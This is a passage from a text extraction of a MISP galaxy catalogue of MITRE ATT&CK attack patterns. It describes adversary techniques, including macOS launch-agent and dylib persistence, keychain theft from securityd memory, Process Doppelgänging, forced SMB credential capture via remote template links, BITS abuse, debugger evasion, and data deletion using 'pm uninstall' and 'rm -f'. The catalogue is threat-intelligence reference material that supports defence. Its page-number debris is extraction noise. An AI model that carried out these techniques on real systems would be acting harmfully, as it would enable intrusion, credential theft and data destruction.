An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.

The tag is: *misp-galaxy:mitre-attack-pattern="Startup Items - T1165"

View relationships graph

Startup Items - T1165 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005" with estimative-language:likelihood-probability="almost-certain"

### Access Notifications - T1517

Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications. (Citation: ESET 2FA Bypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Access Notifications - T1517"

### Dylib Hijacking - T1157

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on 2775)
If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

The tag is: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157"

Software Discovery - T1518

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

The tag is: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518"

Launch Agent - T1159

Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in `<code>/System/Library/LaunchAgents</code>`, `<code>/Library/LaunchAgents</code>`, and `<code>/System/Library/LaunchAgents</code>`. This process is responsible for managing background tasks for the user, such as launching applications at startup or running services at specific times.
Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Agent - T1159"

View relationships graph

Launch Agent - T1159 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

Table 5807. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1159">https://attack.mitre.org/techniques/T1159</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html">https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html</a></td>
</tr>
</tbody>
</table>

Application Versioning - T1661

An adversary may push an update to a previously benign application to add malicious code. This can be accomplished by pushing an initially benign, functional application to a trusted application store, such as the Google Play Store or the Apple App Store. This allows the adversary to establish a trusted userbase that may grant permissions to the application prior to the introduction of malicious code. Then, an application update could be pushed to introduce malicious code.(Citation: android_app_breaking_bad)
This technique could also be accomplished by compromising a developer's account. This would allow an adversary to take advantage of an existing userbase without having to establish the userbase themselves.

The tag is: `misp-galaxy:mitre-attack-pattern="Application Versioning - T1661"`

**Table 5808. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1661">https://attack.mitre.org/techniques/T1661</a></td>
</tr>
</tbody>
</table>

**Call Control - T1616**

Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.

Several permissions may be used to programmatically control phone calls, including:

- **ANSWER_PHONE_CALLS** - Allows the application to answer incoming phone calls(Citation: Android Permissions)
- **CALL_PHONE** - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions)
- **PROCESS_OUTGOING_CALLS** - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions)
- **MANAGE_OWN_CALLS** - Allows a calling application which manages its own calls through the self-managed ConnectionService APIs(Citation: Android Permissions)
- **BIND_TELECOM_CONNECTION_SERVICE** - Required permission when using a ConnectionService(Citation: Android Permissions)
- **WRITE_CALL_LOG** - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions)

When granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.

The tag is: `misp-galaxy:mitre-attack-pattern="Call Control - T1616"`

**Table 5809. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>2778</td>
</tr>
</tbody>
</table>
Browser Extensions - T1176

Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.

Previous to macOS 11, adversaries could silently install browser extensions via the command line using the `<code>profiles</code>` tool to install malicious `<code>.mobileconfig</code>` files. In macOS 11+, the use of the `<code>profiles</code>` tool can no longer install configuration profiles, however `<code>.mobileconfig</code>` files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)

Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)

There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)

The tag is: `misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176"

Table 5810. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1176">https://attack.mitre.org/techniques/T1176</a></td>
</tr>
<tr>
<td><a href="https://developer.chrome.com/extensions">https://developer.chrome.com/extensions</a></td>
</tr>
</tbody>
</table>
Securityd Memory - T1167

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

If an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)

The tag is: misp-galaxy:mitre-attack-pattern="Securityd Memory - T1167"

View relationships graph

Securityd Memory - T1167 has relationships with:


Table 5811. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain">http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain</a></td>
</tr>
<tr>
<td><a href="http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way">http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1167">https://attack.mitre.org/techniques/T1167</a></td>
</tr>
</tbody>
</table>
Process Doppelgänging - T1186

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may leverage TxF to perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.

The tag is: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186"

View relationships graph

Process Doppelgänging - T1186 has relationships with:


Table 5812. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1186">https://attack.mitre.org/techniques/T1186</a></td>
</tr>
</tbody>
</table>

2781
User Evasion - T1618

Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary's modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device.

While there are many ways this can be accomplished, one method is by using the device's sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.

The tag is: misp-galaxy:mitre-attack-pattern="User Evasion - T1618"

User Evasion - T1618 has relationships with:


Table 5813. Table References

Links

https://attack.mitre.org/techniques/T1618

LSASS Driver - T1177

The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing
or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.

The tag is: *misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177"

View relationships graph

LSASS Driver - T1177 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008"* with estimative-language:likelihood-probability="almost-certain"

### Table 5814. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1177">https://attack.mitre.org/techniques/T1177</a></td>
</tr>
</tbody>
</table>

### Forced Authentication - T1187

Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking
to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)

There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to `<code>file://[remote address]/Normal.dotm</code>` to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)

- A modified .LNK or .SCF file with the icon filename pointing to an external reference such as `<code>\[remote address\]pic.png</code>` that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187"

Table 5815. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1187">https://attack.mitre.org/techniques/T1187</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/hob0/hashjacking">https://github.com/hob0/hashjacking</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf">https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-293A">https://www.us-cert.gov/ncas/alerts/TA17-293A</a></td>
<td></td>
</tr>
</tbody>
</table>

**BITS Jobs - T1197**

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITS) (Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator 2784](https://attack.mitre.org/techniques/T1105)).
Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: Palo Alto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)

The tag is: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"

---

**Table 5816. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1197">https://attack.mitre.org/techniques/T1197</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1">https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1</a></td>
</tr>
</tbody>
</table>

**Trusted Relationship - T1199**

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider’s access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)

In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be
able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant. (Citation: Office 365 Delegated Administration)

The tag is: `misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199"

Table 5817. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1199">https://attack.mitre.org/techniques/T1199</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&amp;rs=en-us&amp;ad=us">https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&amp;rs=en-us&amp;ad=us</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers">https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers</a></td>
</tr>
</tbody>
</table>

Misattributable credentials - T1322

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1322).

The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSL)  

The tag is: `misp-galaxy:mitre-attack-pattern="Misattributable credentials - T1322"

Table 5818. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1322">https://attack.mitre.org/techniques/T1322</a></td>
</tr>
</tbody>
</table>

Debugger Evasion - T1622

Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads. (Citation: ProcessHacker Github)

Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as `<code>IsDebuggerPresent()</code>` and `<code>NtQueryInformationProcess()</code>`, or manually checking the `<code>BeingDebugged</code>` flag of the Process Environment Block (PEB). Other
checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)

Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as `<code>OutputDebugStringW()</code>`.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)

The tag is: `misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622"`

**Table 5819. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1622">https://attack.mitre.org/techniques/T1622</a></td>
</tr>
<tr>
<td><a href="https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug">https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug</a></td>
</tr>
<tr>
<td><a href="https://github.com/processhacker/processhacker">https://github.com/processhacker/processhacker</a></td>
</tr>
<tr>
<td><a href="https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug">https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x60.html">https://objective-see.com/blog/blog_0x60.html</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/">https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/</a></td>
</tr>
</tbody>
</table>

**DNS poisoning - T1382**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

DNS (cache) poisoning is the corruption of an Internet server’s domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)

The tag is: `misp-galaxy:mitre-attack-pattern="DNS poisoning - T1382"`

**Table 5820. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1382">https://attack.mitre.org/techniques/T1382</a></td>
</tr>
</tbody>
</table>

2787
Process Discovery - T1424

Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an understanding of common software/applications running on devices within a network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1424) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Recent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the hidepid mount feature. Prior to Android 7, applications could utilize the `ps` command or examine the `/proc` directory on the device.(Citation: Android-SELinuxChanges)

In iOS, applications have previously been able to use the `sysctl` command to obtain a list of running processes. This functionality has been removed in later iOS versions.

The tag is: `misp-galaxy:mitre-attack-pattern="Process Discovery - T1424"`

Table 5821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1424">https://attack.mitre.org/techniques/T1424</a></td>
</tr>
<tr>
<td><a href="https://code.google.com/p/android/issues/detail?id=205565">https://code.google.com/p/android/issues/detail?id=205565</a></td>
</tr>
</tbody>
</table>

Audio Capture - T1429

Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information.

Android and iOS, by default, require that applications request device microphone access from the user.

On Android devices, applications must hold the `RECORD_AUDIO` permission to access the microphone or the `CAPTURE_AUDIO_OUTPUT` permission to access audio output. Because Android does not allow third-party applications to hold the `CAPTURE_AUDIO_OUTPUT` permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output.(Citation: Android Permissions) However, adversaries may be able to gain this access after successfully elevating their privileges. With the `CAPTURE_AUDIO_OUTPUT` permission, adversaries may pass the `MediaRecorder.AudioSource.VOICE_CALL` constant to `MediaRecorder.setAudioOutput`, allowing capture of both voice call uplink and downlink.(Citation: Manifest.permission)

On iOS devices, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file to access the microphone.(Citation: Requesting Auth-Media Capture)

The tag is: `misp-galaxy:mitre-attack-pattern="Audio Capture - T1429"`
Unsecured Credentials - T1552

Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).

The tag is: `misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552"`

Impair Defenses - T1562

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)

Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.

The tag is: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"`
Protocol Tunneling - T1572

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)

[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)

Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure.

The tag is: *misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572"*

Table 5825. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1572">https://attack.mitre.org/techniques/T1572</a></td>
</tr>
<tr>
<td><a href="https://www.ssh.com/ssh/tunneling">https://www.ssh.com/ssh/tunneling</a></td>
</tr>
</tbody>
</table>

SMS Control - T1582

Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects.
This can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device. (Citation: SMS KitKat) (Citation: Android SmsProvider)

The tag is: `misp-galaxy:mitre-attack-pattern="SMS Control - T1582"`

**Table 5826. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://android.googlesource.com/platform/packages/providers/TelephonyProvider/7e7c274/src/com/android/providers/telephony/SmsProvider.java">https://android.googlesource.com/platform/packages/providers/TelephonyProvider/7e7c274/src/com/android/providers/telephony/SmsProvider.java</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1582">https://attack.mitre.org/techniques/T1582</a></td>
</tr>
</tbody>
</table>

**Data Destruction - T1662**

Adversaries may destroy data and files on specific devices or in large numbers to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.

To achieve data destruction, adversaries may use the `pm uninstall` command to uninstall packages or the `rm` command to remove specific files. For example, adversaries may first use `pm uninstall` to uninstall non-system apps, and then use `rm (-f) <file(s)>` to delete specific files, further hiding malicious activity. (Citation: rootnik_rooting_tool) (Citation: abuse_native_linux_tools)

The tag is: `misp-galaxy:mitre-attack-pattern="Data Destruction - T1662"`

**Table 5827. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1662">https://attack.mitre.org/techniques/T1662</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/rootnik-android-trojan-abuses-commercial-rooting-tool-and-steals-private-information/">https://unit42.paloaltonetworks.com/rootnik-android-trojan-abuses-commercial-rooting-tool-and-steals-private-information/</a></td>
</tr>
</tbody>
</table>
**Execution Guardrails - T1627**

